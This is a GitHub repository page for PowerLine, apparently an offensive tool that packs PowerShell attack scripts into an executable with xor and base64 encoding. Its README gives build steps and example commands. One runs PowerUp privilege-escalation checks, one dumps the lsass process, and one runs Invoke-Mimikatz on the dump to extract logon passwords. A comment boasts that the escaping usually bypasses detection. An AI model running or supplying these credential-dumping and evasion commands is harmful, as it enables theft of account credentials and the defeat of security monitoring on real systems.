Skip to content

AlphaBaller/PowerLine

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

57 Commits
 
 
 
 
 
 
 
 

Repository files navigation

PowerLine

Download the Repo

Run the build.bat file

Update the UserConf.xml document to contain the URLs of the scripts that you'd like to include (examples shown)

Run the PLBuilder.exe file

The PowerLine.exe program should now be created and contains embedded, xor-encoded, base64-encoded versions of all of the scripts that you specified

Example Usage:

//Shows scripts that are currently embedded in the program

PowerLine.exe -ShowScripts

//Run Invoke-AllChecks from the PowerUp script

PowerLine.exe PowerUp "Invoke-AllChecks"

//Get a dump of the lsass process. Must run as an admin

PowerLine.exe Out-Minidump "Get-Process lsass | Out-Minidump"

//Run mimikatz against the dump file created by the Out-Minidump command to extract creds. lsass_dump_name.dmp will be the name generated by Out-Minidump

//Yes, it's hellacious escaping but it works and usually bypasses detection =)

PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"sekurlsa::minidump lsass_dump_name.dmp`\" `\"sekurlsa::logonPasswords`\"\""

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C# 87.3%
  • PowerShell 11.2%
  • Batchfile 1.5%